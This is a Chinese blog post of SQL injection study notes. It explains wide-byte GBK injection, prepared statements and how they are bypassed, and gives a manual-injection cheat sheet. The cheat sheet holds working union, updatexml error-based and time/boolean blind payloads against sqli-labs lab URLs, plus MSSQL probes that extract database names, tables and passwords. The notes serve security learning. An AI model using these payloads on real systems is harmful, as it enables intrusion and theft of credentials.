Web安全学习笔记 SQL注入下

繁枝插云欣 ——ICML8


  1. SQL注入小技巧
  2. CheatSheet
  3. 预编译
  4. 参考文章
  5. 一点心得

一.SQL注入小技巧

1. 宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于

set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';

漏洞发生的原因是执行了

set character_set_client = 'gbk';

之后,mysql就会认为客户端传过来的数据是gbk编码的

从而使用gbk去解码

而mysql_real_escape是在解码前执行的

但是直接用set names 'gbk'的话

real_escape是不知道设置的数据的编码的

就会加 %5c

此时server拿到数据解码

就认为提交的字符+%5c是gbk的一个字符

这样就产生漏洞了

解决的办法有三种:

第一种是把client的charset设置为binary
就不会做一次解码的操作

第二种是是 mysql_set_charset('gbk')
这里就会把编码的信息保存在和数据库的连接里面
就不会出现这个问题了

第三种就是用pdo
还有一些其他的编码技巧
比如latin会弃掉无效的unicode
那么admin%32在代码里面不等于admin
在数据库比较会等于admin

二.CheatSheet

此SQL注入备忘单包含有用语法的示例

可用于执行执行SQL注入攻击时经常出现的各种任务

此处省略较多内容,后期补充一个

https://blog.csdn.net/weixin_43047908/article/details/115556798

三.预编译

1. 简介

SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

2. 模拟预编译

为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

3. 绕过

3.1. 预编译使用错误

预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

3.2. 部分参数不可预编译

在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

3.3. 预编译实现错误

部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。


四.参考文章

1. Tricks

sqlmap time based inject 分析

https://www.freebuf.com/column/168112.html

SQLInjectionWiki

http://sqlwiki.radare.cn/#/

常见数据库写入Webshell汇总

https://mp.weixin.qq.com/s/BucCNyCmyATdRENZp0AF2A

MSSQL数据库攻击实战指北

https://mp.weixin.qq.com/s/uENvpPan7aVd7MbSoAT9Dg

2. Bypass

SQL注入ByPass的一些小技巧

https://mp.weixin.qq.com/s/fSBZPkO0-HNYfLgmYWJKCg

Waf Bypass之道

https://xz.aliyun.com/t/368

MySQL Bypass Wiki

https://blog.csdn.net/weixin_44825990/article/details/122009176

3. NoSQL

NoSQL注入的分析和缓解

https://blog.51cto.com/u_15127672/2804916

NoSQL注入

https://mp.weixin.qq.com/s/tG874LNTIdiN7MPtO-hovA

五.一点心得

SQL注入漏洞

手注心得

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI/

查询用

http://sqlwiki.radare.cn/

mysql数字型手注

字符型和数字的注入基本一样

(下面直接演示数字型)

只是字符的需要闭合前面的一条sql

常见的闭合就是

'
"
')
'')

有时还需要注释后面的一些sql 可以使用

--+
# 在url里面需要编码为 %23
判断字段
?id=1 and 1=1 order by 1
回显点判断
?id=1 and 1=2 union select 1,2
当前库
?id=1 and 1=2 union select 1,database()
当前用户
?id=1 and 1=2 union select 1,user()
当前版本
?id=1 and 1=2 union select 1,version()
爆表
?id=1 and 1=2 union select 1,table_name from information_schema.tables where
table_schema=database() limit 0,1
当前表字段名
用limit进行查询
?id=1 and 1=2 union select 1,column_name from information_schema.columns where
table_schema=database() and table_name='admin' limit 0,1
获取数据
?id=1 and 1=2 union select 1,password from admin limit 0,1

mysql报错注入

在不能联合注入的时候就需要用到它

有十种报错函数
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
爆库:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,
(schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,
(table_name),0x7e) from information_schema.tables where table_schema='security'
limit 3,1),1) -- +

爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,
(column_name),0x7e) from information_schema.columns where table_name=0x7573657273
limit 2,1),1) -- +

爆数据:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,
password,0x7e) from users limit 1,1),1) -- +

mysql盲注

  1. 时间盲注

  2. 布尔盲注

可以用二分,dnslog,等等可以加快注入

工具

https://github.com/ADOOO/DnslogSqlinj

时间盲注也叫延时注入

一般用到函数 sleep() BENCHMARK()

一般时间盲注我们还需要使用条件判断函数 if(expre1,expre2,expre3)

当expre1为true时,返回expre2,false时,返回expre3 盲注的同时

也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等

select * from users where id =1 and if((substr((select
user()),1,1)='r'),sleep(5),1);

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有

ascii() hex() 等等 benchmark()其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。

select * from users where id =1 and if((substr((select
user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);

盲注思路的思路很多 比如正则匹配,比较函数,运算符, 推荐大家可以看看

https://www.anquanke.com/

简单来说就是通过函数看返回true还是false

1.直接通过字符串截取对比,类似函数很多后面做个总结吧

http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +

2.用 IFNULL() 函数

http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((selectuser()),1,1)='r'),0) -- +

3.使用 比较函数 strcmp()

1.
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((selectuser()),1,1)='r'),1) -- +
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((selectuser()),1,1)='r'),0) -- +

2.
mysql> select * from users where id =1 and 0=strcmp((substr((selectuser()),1,1)),'o');
Empty set (0.00 sec)
mysql> select * from users where id =1 and 0=strcmp((substr((select
user()),2,1)),'o');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mssql手注

参考

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

查询基本信息

and @@version>~1
and (user|1)>-1
and (db_name()|1)>.1

判断当前表名和列名

也可以使用 having 1=1 和 group by

http://192.168.130.137/1.aspx?id=1 having 1=1

爆出当前表和字段

http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1

爆出所有的字段



Web安全学习笔记 SQL注入下的更多相关文章

  1. Web安全学习笔记 SQL注入上

    Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...

  2. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  3. Web安全学习笔记——SQL注入

    一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...

  4. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  5. Web安全攻防笔记-SQL注入

    information_schema(MySQL5.0版本之后,MySQL数据库默认存放一个information_schema数据库) information_schema的三个表: SCHEMAT ...

  6. ASP.NET MVC Web API 学习笔记---第一个Web API程序

    http://www.cnblogs.com/qingyuan/archive/2012/10/12/2720824.html GetListAll /api/Contact GetListBySex ...

  7. ASP.NET Core Web开发学习笔记-1介绍篇

    ASP.NET Core Web开发学习笔记-1介绍篇 给大家说声报歉,从2012年个人情感破裂的那一天,本人的51CTO,CnBlogs,Csdn,QQ,Weboo就再也没有更新过.踏实的生活(曾辞 ...

  8. 【前端】移动端Web开发学习笔记【2】 & flex布局

    上一篇:移动端Web开发学习笔记[1] meta标签 width设置的是layout viewport 的宽度 initial-scale=1.0 自带 width=device-width 最佳实践 ...

  9. 【前端】移动端Web开发学习笔记【1】

    下一篇:移动端Web开发学习笔记[2] Part 1: 两篇重要的博客 有两篇翻译过来的博客值得一看: 两个viewport的故事(第一部分) 两个viewport的故事(第二部分) 这两篇博客探讨了 ...

随机推荐

  1. Java 中,DOM 和 SAX 解析器有什么不同?

    DOM 解析器将整个 XML 文档加载到内存来创建一棵 DOM 模型树,这样可以 更快的查找节点和修改 XML 结构,而 SAX 解析器是一个基于事件的解析器, 不会将整个 XML 文档加载到内存.由 ...

  2. spring event

    昨天看到了一遍关于spring event的帖子,觉得很好,就照着敲了一份代码,感觉对spring event有了进一步的认识.帖子链接:https://segmentfault.com/a/1190 ...

  3. 滑动窗口法——Leetcode例题

    滑动窗口法--Leetcode例题(连更未完结) 1. 方法简介 滑动窗口法可以理解为一种特殊的双指针法,通常用来解决数组和字符串连续几个元素满足特殊性质问题(对于字符串来说就是子串).滑动窗口法的显 ...

  4. simulink模块使用方式

    逻辑模块 1.小于等于系列模块 Applies the selected relational operator to the inputs and outputs the result. The t ...

  5. CEPH-4:ceph RadowGW对象存储功能详解

    ceph RadosGW对象存储使用详解 一个完整的ceph集群,可以提供块存储.文件系统和对象存储. 本节主要介绍对象存储RadosGw功能如何灵活的使用,集群背景: $ ceph -s clust ...

  6. Asp.Net Core之Identity应用(下篇)

    一.前言 在上篇中简单介绍了 Asp.Net Core 自带的 Identity,一个负责对用户的身份进行认证的框架,当我们按需选择这个框架作为管理和存储我们应用中的用户账号数据的时候,就会添加到自己 ...

  7. 无需Flash录视频——HTML5中级进阶

    前言 HTML5的权限越来越大了,浏览器可以直接调用摄像头.麦克风了,好激动啊.我们要用纯洁的HTML代码造出自己的天地. 视频采集 本篇介绍的栗子 都是在chrome 47 版本以上的,低版本的可能 ...

  8. 菜鸟的谷歌浏览器devtools日志分析经验

    1 别管什么性能,尽可能输出详细的必要日志.(除非你明显感觉到性能变低,而且性能变低的原因是由于日志输出太多而引起的) 2 不要总是使用console.log,试试console.info, cons ...

  9. MySQL优化篇系列文章(二)——MyISAM表锁与InnoDB锁问题

    我可以和面试官多聊几句吗?只是想... MySQL优化篇系列文章(基于MySQL8.0测试验证),上部分:优化SQL语句.数据库对象,MyISAM表锁和InnoDB锁问题. 面试官:咦,小伙子,又来啦 ...

  10. IDEA个人常用快捷键

    Ctrl+Z:撤销 Ctrl+Shift+Z:重做 Ctrl+X:剪贴 Ctrl+C:复制 Ctrl+V:粘贴 Ctrl+Y:删除当前行 Ctrl+D:复制当前行 Alt+向左箭头:返回上次光标位置 ...